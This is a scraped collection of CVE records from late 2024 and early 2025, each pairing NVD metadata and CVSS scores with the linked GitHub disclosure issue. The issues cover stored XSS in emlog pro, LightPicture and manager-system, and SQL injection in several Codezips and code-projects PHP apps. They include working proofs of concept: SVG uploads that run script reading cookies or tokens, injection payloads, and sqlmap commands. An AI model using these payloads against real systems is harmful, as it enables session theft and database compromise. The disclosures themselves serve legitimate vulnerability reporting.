# Summary An XSS vulnerability has been discovered in emlog pro 2.4.3. The vulnerability stems from the fact that `/admin/article.php` does not filter malicious SVG files. This vulnerability allows an attacker with content editing permissions to exploit the system by uploading an SVG file containing malicious XML code as the cover image for an article. # Details The vulnerability exists in the article cover image upload functionality. Attackers can upload an SVG file that contains malicious XML code. ![image](https://github.com/user-attachments/assets/8626d4bc-1eaf-40d4-9489-6805ba873dcc) ![image](https://github.com/user-attachments/assets/a4b02125-bead-434a-af52-1475cf2e1635) # POC ``` POST /admin/article.php?action=upload_cover HTTP/1.1 Host: target-ip Content-Length: 1116 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBXHN1jTPmYb3jbAq Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [users'cookie] Connection: keep-alive ------WebKitFormBoundaryBXHN1jTPmYb3jbAq Content-Disposition: form-data; name="image"; filename="alert.svg" Content-Type: image/svg+xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128"> <path fill="#D26383" d="M115.4 30.7L67.1 2.9c-.8-.5-1.9-.7-3.1-.7-1.2 0-2.3.3-3.1.7l-48 27.9c-1.7 1-2.9 3.5-2.9 5.4v55.7c0 1.1.2 2.4 1 3.5l106.8-62c-.6-1.2-1.5-2.1-2.4-2.7z" /> <path fill="#9C033A" d="M10.7 95.3c.5.8 1.2 1.5 1.9 1.9l48.2 27.9c.8.5 1.9.7 3.1.7 1.2 0 2.3-.3 3.1-.7l48-27.9c1.7-1 2.9-3.5 2.9-5.4V36.1c0-.9-.1-1.9-.6-2.8l-106.6 62z" /> <path fill="#fff" d="M85.3 76.1C81.1 83.5 73.1 88.5 64 88.5c-13.5 0-24.5-11-24.5-24.5s11-24.5 24.5-24.5c9.1 0 17.1 5 21.3 12.5l13-7.5c-6.8-11.9-19.6-20-34.3-20-21.8 0-39.5 17.7-39.5 39.5s17.7 39.5 39.5 39.5c14.6 0 27.4-8 34.2-19.8l-12.9-7.6z" /> <path d="M82.1 61.8h5.2v-5.3h4.4v5.3H97v4.4h-5.3v5.2h-4.4v-5.2h-5.2v-4.4zm18.5 0h5.2v-5.3h4.4v5.3h5.3v4.4h-5.3v5.2h-4.4v-5.2h-5.2v-4.4z" fill="#fff" /> <animate onbegin="alert(document.cookie)"></animate> </svg> ------WebKitFormBoundaryBXHN1jTPmYb3jbAq-- ``` ![image](https://github.com/user-attachments/assets/034b7513-f9c1-4bb0-a0d9-9f896e5addb6)

emlog pro 2.4.3 Stored XSS Vulnerability in /admin/article.php

https://api.github.com/repos/emlog/emlog/issues/312/comments

2

2024-12-25T06:37:01Z

2025-03-28T04:43:16Z

https://github.com/emlog/emlog/issues/312

2,758,546,837

312

6,488

CVE-2024-13141

2025-01-05T15:15:17.257

A vulnerability classified as problematic was found in osuuu LightPicture up to 1.2.2. This vulnerability affects unknown code of the file /api/upload of the component SVG File Upload Handler. The manipulation of the argument file leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Hebing123/cve/issues/83" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290224" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?id.290224" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468645" } ]

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[ "79" ]

79

https://github.com/Hebing123/cve/issues/83

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hebing123", "cve" ]

# Summary osuuu LightPicture 1.2.2 version is vulnerable to a stored Cross-Site Scripting (XSS) attack. The vulnerability exists in the system's settings where users with the ability to upload images are allowed to upload SVG files by default. # Details The vulnerability arises because the system does not sufficiently sanitize the uploaded SVG files. SVG files can contain embedded JavaScript code, which, if not properly validated and sanitized, can be executed in the context of the user's browser when the image is viewed. This can allow an attacker to execute arbitrary JavaScript code within the browser of a user who views the maliciously crafted SVG image. /public/install/lp.sql: ![image](https://github.com/user-attachments/assets/9e406f6b-25d3-48d3-8108-09af225e2b6d) # POC To exploit this vulnerability, an attacker can upload a specially crafted SVG file containing JavaScript code. The following is an example of a POST request that can be used to upload an SVG file containing a stored XSS payload: ``` POST /api/upload HTTP/1.1 Host: target-ip Content-Length: 711 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD6b0As0Nk8kPDjXW Accept: */* Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [users'cookie] Connection: keep-alive ------WebKitFormBoundaryD6b0As0Nk8kPDjXW Content-Disposition: form-data; name="key" [users' api key] ------WebKitFormBoundaryD6b0As0Nk8kPDjXW Content-Disposition: form-data; name="file"; filename="test.svg" Content-Type: image/svg+xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <script>alert("iptoken:"+window.localStorage.lp_token)</script> </svg> ------WebKitFormBoundaryD6b0As0Nk8kPDjXW-- ``` After uploading we get a url: /LightPicture/2024/12/b676a4d5f8b6caf2.svg ![image](https://github.com/user-attachments/assets/028376be-e613-484f-81d2-acecb63a6f60)

osuuu LightPicture 1.2.2 Stored XSS Vulnerability

https://api.github.com/repos/Hebing123/cve/issues/83/comments

1

2024-12-25T03:18:08Z

2025-03-21T02:38:49Z

https://github.com/Hebing123/cve/issues/83

2,758,447,373

83

6,489

CVE-2025-0231

2025-01-05T22:15:05.540

A vulnerability has been found in Codezips Gym Management System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /dashboard/admin/submit_payments.php. The manipulation of the argument m_id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/gh464646/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gh464646", "CVE" ]

# **Security Advisory: SQL Injection in Gym Management System (PHP) v1.0** **Advisory ID:** GMS-2024-001 **Discovered By:** ghgh --- ## **1. Affected Product** - **Product Name**: Gym Management System in PHP with Source Code - **Version**: v1.0 - **Vulnerable File**: `/dashboard/admin/submit_payments.php` - **Parameter**: `m_id` - **Vendor Homepage**: [Gym Management System](https://codezips.com/php/gymmanagementsytem/) - **Download Link**: [Source Code](https://codeload.github.com/codezips/gym-management-system-php/zip/master) **No authentication required** to exploit this vulnerability. --- ## **2. Overview** A critical SQL injection vulnerability exists in the `m_id` parameter within `/dashboard/admin/submit_payments.php`. Attackers can inject arbitrary SQL code via specially crafted values, bypassing input validation. This could lead to unauthorized database access, data manipulation, and potentially full system compromise. --- ## **3. Technical Details** ### **3.1 Vulnerability Type** - **SQL Injection** - Boolean-based blind - Error-based - Time-based blind ### **3.2 Sample Payloads** ```bash # Boolean-based blind m_id=1529336794' (SELECT 0x51445246 WHERE 6436=6436 AND 6070=6070) '&u_name=... # Error-based m_id=1529336794' (SELECT 0x596b6f44 WHERE 1640=1640 AND GTID_SUBSET(CONCAT(...))) '&u_name=... # Time-based blind m_id=1529336794' (SELECT 0x666b4647 WHERE 6352=6352 AND (SELECT 7581 FROM (SELECT(SLEEP(5)))yUTW)) '&u_name=... ``` ### **3.3 Proof of Concept (PoC)** ```bash sqlmap -u "192.168.31.237:2227/dashboard/admin/submit_payments.php" \ --data="m_id=1529336794&u_name=Christiana+Mayberry&prevPlan=Monthly+Plan&plan=POQKJC&submit=ADD+PAYMENT" \ --batch --level=5 --risk=3 --dbms=mysql \ --random-agent --tamper=space2comment \ --cookie="PHPSESSID=jgr5ojsmnmoupjk3r2nrdk5n85" ``` **Screenshots**: <img width="1027" alt="image" src="https://github.com/user-attachments/assets/4e97924e-ee5e-4252-8507-764318dd1355" /> --- ## **4. Impact** - **Database Compromise**: Attackers can read, modify, or delete data. - **Data Leakage**: Sensitive customer/payment information could be exposed. - **System Interruption**: Malicious queries may degrade performance or crash the application. - **Privilege Escalation**: Potential elevation of privileges leading to broader system takeover. --- ## **5. Recommendations** 1. **Use Prepared Statements / Parameter Binding** - Separate SQL logic from user-supplied data to prevent code injection. 2. **Enforce Strict Input Validation** - Validate and sanitize incoming fields (`m_id`) against unexpected characters or formats. 3. **Apply the Principle of Least Privilege** - Configure database users with minimal privileges. Avoid high-privilege accounts for routine queries. 4. **Schedule Regular Security Audits** - Conduct routine code reviews, penetration testing, and dependency checks to catch new or recurring flaws. --- ## **6. References** - [Gym Management System Homepage](https://codezips.com/php/gymmanagementsytem/) - [OWASP: SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) - [sqlmap Project](https://sqlmap.org/) --- **Disclaimer:** This advisory is intended for responsible disclosure. Any unauthorized exploitation of the described vulnerability may violate applicable laws. Stakeholders and the vendor are strongly encouraged to apply remediation measures immediately to ensure data protection and maintain system integrity.

Security Advisory: SQL Injection in Gym Management System (PHP) v1.0

https://api.github.com/repos/gh464646/CVE/issues/1/comments

0

2025-01-04T08:02:05Z

https://github.com/gh464646/CVE/issues/1

2,768,610,824

1

6,490

CVE-2025-0232

2025-01-05T22:15:05.767

A vulnerability was found in Codezips Blood Bank Management System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /successadmin.php. The manipulation of the argument psw leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/alc9700jmo/CVE/issues/7" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.290228" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?id.290228" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.474597" } ]

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[ "89" ]

89

https://github.com/alc9700jmo/CVE/issues/7

[ "Exploit", "Third Party Advisory" ]

github.com

[ "alc9700jmo", "CVE" ]

# Blood Bank Management System In PHP With Source Code V1.0 /successadmin.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Blood Bank Management System In PHP With Source Code ## Vendor Homepage + [homepage](https://codezips.com/php/blood-bank-management-system-in-php-with-source-code//) # AFFECTED AND/OR FIXED VERSION(S) ## submitter + alc9700 ## Vulnerable File + /successadmin.php ## VERSION(S) + V1.0 # Software Link + [Download Source Code](https://codeload.github.com/codezips/blood-donor-management-system/zip/master) # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/successadmin.php' file of the 'Blood Bank Management System In PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter 'psw' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. ## DESCRIPTION + During the security review of "Blood Bank Management System In PHP With Source Code", alc9700 discovered a critical SQL injection vulnerability in the "/successadmin.php" file. This vulnerability stems from insufficient user input validation of the 'psw' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## ulnerability type: + boolean-based blind + error-based + time-based blind ## Vulnerability location: + 'psw' parameter ## Payload: ```bash Parameter: psw (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: uname=admin&psw=123456' OR NOT 5111=5111 AND 'IWGD'='IWGD&remember=on Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: uname=admin&psw=123456' OR (SELECT 2008 FROM(SELECT COUNT(*),CONCAT(0x7162717171,(SELECT (ELT(2008=2008,1))),0x71706b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'upEN'='upEN&remember=on Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: uname=admin&psw=123456' AND (SELECT 5716 FROM (SELECT(SLEEP(5)))DVry) AND 'ooec'='ooec&remember=on ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1139/successadmin.php" --data="uname=admin&psw=123456&remember=on" --cookie="PHPSESSID=6gsho5am18dgec4168cc7ng8f6" --level=5 --risk=3 --batch --random-agent --tamper=space2comment --dbs ``` + <img width="1708" alt="image" src="https://github.com/user-attachments/assets/34cc77d7-84a8-46f7-986e-ec3d2ec18086" /> + <img width="613" alt="image-1" src="https://github.com/user-attachments/assets/138e346a-c997-4c93-9241-a94495168b9c" /> # Suggested repair 1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format. 3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Blood Bank Management System In PHP With Source Code V1.0 /successadmin.php SQL injection

https://api.github.com/repos/alc9700jmo/CVE/issues/7/comments

0

2025-01-04T08:07:23Z

https://github.com/alc9700jmo/CVE/issues/7

2,768,616,440

7

6,491

CVE-2024-13142

2025-01-05T23:15:06.467

A vulnerability was found in ZeroWdd studentmanager 1.0. It has been declared as problematic. This vulnerability affects the function submitAddRole of the file src/main/java/com/zero/system/controller/RoleController. java. The manipulation of the argument name leads to cross site scripting. The attack can be initiated remotely.

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[ "79" ]

79

https://github.com/ZeroWdd/manager-system/issues/6

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "ZeroWdd", "manager-system" ]

Source code name：manager-system Source code version：1.0 Source code download link：https://github.com/ZeroWdd/manager-system/archive/refs/heads/master.zip Code Audit: The submitAddRole method in src/main/java/com/zero/system/controller/RoleController. java does not filter the input name parameter ![image](https://github.com/user-attachments/assets/42dc996a-78b1-4ff1-b9f9-eb0510fa53c6) ![image](https://github.com/user-attachments/assets/970f8868-6cf6-40bc-af49-6ad947f01f66) Vulnerability exploitation: http://localhost:8080/manager/login superadmin/123 Click to edit ![image](https://github.com/user-attachments/assets/b818d4d9-78e8-4e04-90d2-acf385227650) Input：`<img src=x onerror=alert(1);>` Click to modify now ![image](https://github.com/user-attachments/assets/2a2d061b-8043-41f9-a54a-442944a75f49) Corresponding data packet: ``` POST /manager/addRole HTTP/1.1 Host: 192.168.0.102:8080 Content-Length: 39 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.102:8080 Referer: http://192.168.0.102:8080/manager/addRole?type=edit&id=2 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=1CEE536BC9A3066C37AB43E0F2E59A30 Connection: close id=2&name=<img src=x onerror=alert(1);> ``` ![image](https://github.com/user-attachments/assets/e708d263-22cf-498e-b6d9-fa7cf8f824e5)

manager-system 1.0 has a storage type XSS

https://api.github.com/repos/ZeroWdd/manager-system/issues/6/comments

0

2024-12-26T13:33:23Z

2024-12-26T13:37:37Z

https://github.com/ZeroWdd/manager-system/issues/6

2,759,783,316

6

6,492

CVE-2025-0233

2025-01-05T23:15:07.320

A vulnerability was found in Codezips Project Management System 1.0. It has been classified as critical. This affects an unknown part of the file /pages/forms/course.php. The manipulation of the argument course_name leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/1074923869/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "1074923869", "CVE" ]

# **Release Notes – Security Update for Project Management System v1.0** **Discovered By:** qinghe --- ## **Overview of the Issue** A high-severity SQL injection vulnerability has been identified in **Project Management System v1.0**. Specifically, the vulnerability resides in the file `/pages/forms/course.php` and involves the `course_name` parameter. Attackers can inject malicious SQL statements through this parameter, leading to the potential compromise of sensitive information and the broader system. --- ## **Affected Component(s)** - **File/Path**: `/pages/forms/course.php` - **Parameter**: `course_name` - **Vulnerability Type**: - Boolean-based Blind - Error-based - Time-based Blind No login or authorization is required to exploit this vulnerability, increasing its criticality. --- ## **Technical Details & Proof of Concept** 1. **Vulnerability Location**: `course_name` parameter in HTTP POST requests. 2. **Impact**: - **Unauthorized Database Access** - **Sensitive Data Leakage** - **Data Manipulation or Deletion** - **Potential System Control / Service Interruption** 3. **Payload Examples**: ```bash # Boolean-based Blind course_name=Course 1' RLIKE (SELECT (CASE WHEN (6685=6685) THEN 0x436f757273652031 ELSE 0x28 END)) AND 'gttc'='gttc& ... # Error-based course_name=Course 1' AND EXTRACTVALUE(7100,CONCAT(0x5c,0x7170626271,(SELECT (ELT(7100=7100,1))),0x716b6b7171)) AND ... # Time-based Blind course_name=Course 1' RLIKE SLEEP(5) AND 'ZFHB'='ZFHB& ... ``` 4. **sqlmap Test Command**: ```bash sqlmap -u "http://localhost:1111/pages/forms/course.php" \ --data="course_name=Course+1&course_short_name=test&..." \ --batch --level=5 --risk=3 --random-agent ``` 5. **Evidence**: - <img width="1027" alt="image" src="https://github.com/user-attachments/assets/8f9bc61e-4ea7-4741-bce3-98018f150758" /> --- ## **Recommended Actions** 1. **Implement Prepared Statements & Binding** - Ensures user inputs (`course_name`) are handled safely, preventing direct SQL code injection. 2. **Enforce Input Validation** - Rigorously filter and sanitize user data. Allow only expected characters/format in `course_name`. 3. **Least Privilege Principle** - Restrict database accounts to the minimal necessary rights. Avoid using privileged accounts for daily operations. 4. **Regular Security Audits** - Continuously monitor code integrity and perform penetration testing to detect potential threats early. --- ## **Additional Information** - **Vendor Homepage**: [Project Management System](https://codezips.com/php/project-management-system-in-php-and-mysql-with-source-code/) - **Download Link**: [Source Code](https://codeload.github.com/codezips/project-management-system-php-mysql/zip/master) - **OWASP Reference**: [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) --- **Disclaimer**: This release note is provided for responsible disclosure. The described fix should be applied as soon as possible to avoid potential exploitation and ensure continued data integrity and operational stability.

Project Management System V1.0 /pages/forms/course.php SQL injection

https://api.github.com/repos/1074923869/CVE/issues/1/comments

0

2025-01-04T14:51:43Z

https://github.com/1074923869/CVE/issues/1

2,768,876,012

1

6,493

CVE-2025-0336

2025-01-09T07:15:27.860

A vulnerability was found in Codezips Project Management System 1.0. It has been classified as critical. This affects an unknown part of the file /pages/forms/teacher.php. The manipulation of the argument name leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/fuulof/CVE/issues/1

[ "Exploit", "Mitigation", "Third Party Advisory" ]

github.com

[ "fuulof", "CVE" ]

# 📝 **Vulnerability Fact Sheet** --- ## **🔍 Overview** - **Product Name:** Project Management System In PHP And MYSQL With Source Code - **Version:** V1.0 - **Vulnerable File:** `/pages/forms/teacher.php` - **Vulnerability Type:** SQL Injection - **Submitter:** thankkks - **Vendor Homepage:** [Project Management System](https://codezips.com/php/project-management-system-in-php-and-mysql-with-source-code/) - **Download Link:** [Download Source Code](https://codeload.github.com/codezips/project-management-system-php-mysql/zip/master) --- ## **⚠️ Vulnerability Details** ### **📌 Description** A critical SQL injection vulnerability has been identified in the `/pages/forms/teacher.php` file of the **Project Management System In PHP And MYSQL With Source Code** (V1.0). The issue arises from insufficient validation of the `name` parameter, allowing attackers to inject malicious SQL queries directly into database operations. ### **🔧 Root Cause** - **Unsanitized Input:** The `name` parameter is incorporated directly into SQL queries without proper sanitization or validation. - **Direct Query Manipulation:** Attackers can manipulate the `name` parameter to alter the structure and logic of SQL statements. ### **🎯 Impact** Exploiting this vulnerability can lead to: - **Unauthorized Database Access:** Attackers can retrieve sensitive data. - **Data Leakage:** Exposure of confidential information. - **Data Tampering:** Modification or deletion of records. - **System Control:** Potential for full system compromise. - **Service Interruption:** Disruption of normal operations through malicious queries. --- ## **🔍 Technical Details & Proof of Concept (PoC)** ### **🛠️ Vulnerable Parameter** - **Parameter:** `name` - **Location:** POST request to `/pages/forms/teacher.php` ### **💣 Sample Payloads** 1. **Boolean-Based Blind SQL Injection** ```bash name=polaris blue' RLIKE (SELECT (CASE WHEN (2312=2312) THEN 0x436f757273652031 ELSE 0x28 END)) AND 'azQe'='azQe&id=22&course=Data base&s_name=111&submit=Save ``` 2. **Error-Based SQL Injection** ```bash name=polaris blue' AND EXTRACTVALUE(6829,CONCAT(0x5c,0x7162707871,(SELECT (ELT(6829=6829,1))),0x716b767a71)) AND 'qnpc'='qnpc&id=22&course=Data base&s_name=111&submit=Save ``` 3. **Time-Based Blind SQL Injection** ```bash name=polaris blue' RLIKE SLEEP(5) AND 'ijPt'='ijPt&id=22&course=Data base&s_name=111&submit=Save ``` ### **🔍 Exploitation Steps Using sqlmap** 1. **Craft the Malicious Request:** ```bash sqlmap -u "http://192.168.34.125:2228/pages/forms/teacher.php" \ --data="name=polaris+blue&id=22&course=Data+base&s_name=111&submit=Save" \ --batch --level=5 --risk=3 --random-agent ``` 2. **Execute the Command:** - The above command automates the detection and exploitation of the SQL injection vulnerability. 3. **Review Results:** - Successful exploitation may reveal database names, tables, and sensitive data. ### **📸 Evidence** <img width="1025" alt="image" src="https://github.com/user-attachments/assets/dbfa8ee0-ba77-479b-9261-a8851ce00536" /> --- ## **🔒 Mitigation & Remediation** 1. **✅ Implement Prepared Statements & Parameter Binding** - **Action:** Use parameterized queries to ensure that user inputs are treated strictly as data. - **Benefit:** Prevents malicious SQL code from being executed. 2. **✅ Enforce Strict Input Validation & Sanitization** - **Action:** Validate and sanitize all user inputs, especially the `name` parameter, to conform to expected formats and types. - **Benefit:** Reduces the risk of injection attacks by eliminating unexpected or harmful input. 3. **✅ Apply the Principle of Least Privilege** - **Action:** Restrict database user permissions to the minimum necessary for application functionality. Avoid using high-privilege accounts (e.g., `root`, `admin`) for routine operations. - **Benefit:** Limits the potential damage if an attacker gains database access. 4. **✅ Conduct Regular Security Audits** - **Action:** Perform periodic code reviews and security assessments to identify and remediate vulnerabilities promptly. - **Benefit:** Ensures ongoing application security and adherence to best practices. --- ## **📚 Additional Resources** - **Vendor Homepage:** [Project Management System](https://codezips.com/php/project-management-system-in-php-and-mysql-with-source-code/) - **OWASP SQL Injection Overview:** [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) - **sqlmap Documentation:** [sqlmap](https://sqlmap.org/) --- ## **📜 Disclaimer** This fact sheet is intended for responsible disclosure purposes. Unauthorized exploitation or distribution of this vulnerability information is prohibited and may result in legal consequences. The vendor is strongly advised to implement the recommended fixes immediately to safeguard user data and maintain system integrity. --- **End of Fact Sheet** ---

Project Management System SQL Injection

https://api.github.com/repos/fuulof/CVE/issues/1/comments

0

2025-01-06T17:04:42Z

https://github.com/fuulof/CVE/issues/1

2,771,072,801

1

6,494

CVE-2025-0347

2025-01-09T10:15:07.170

A vulnerability was found in code-projects Admission Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file index.php of the component Login. The manipulation of the argument u_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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89

https://github.com/Curious-L/-/issues/3

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github.com

[ "Curious-L", "-" ]

# code-projects.org"Admission Management System" in PHP 1.0 "index.php" SQL injection # NAME OF AFFECTED PRODUCT(S) + Admission Management System IN PHP, CSS, AND MYSQL | FREE DOWNLOAD ## Vendor Homepage + https://code-projects.org/admission-management-system-in-php-css-and-mysql-free-download/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + 梁敏贤，王乐 ##school + 广州大学 ## Vulnerable File + index.php ## VERSION(S) + V1.0 ## Software Link + https://download.code-projects.org/details/9e4774b3-5602-4757-9c2e-b7582e3c540b # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'index.php' file of the 'Admission Management System' project. The reason for this issue is that attackers inject malicious code from the parameter "u_id" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of the PHP "Admission Management System", discovered a critical SQL injection vulnerability in the "index.php" file. This vulnerability stems from insufficient user input validation of the "u_id" parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC --- POST /index.php HTTP/1.1 Host: 192.168.10.113:178 Content-Length: 25 Cache-Control: max-age=0 Origin: http://192.168.10.113:178/ Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.10.113:178/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: pma_lang=zh_CN; phpMyAdmin=oiu4f5jn5t6odq1rjl0d9mtefa; PHPSESSID=jqps5vdu4rta93trra69ks072c Connection: keep-alive u_id=1&u_ps=1&u_sub=Login --- ## 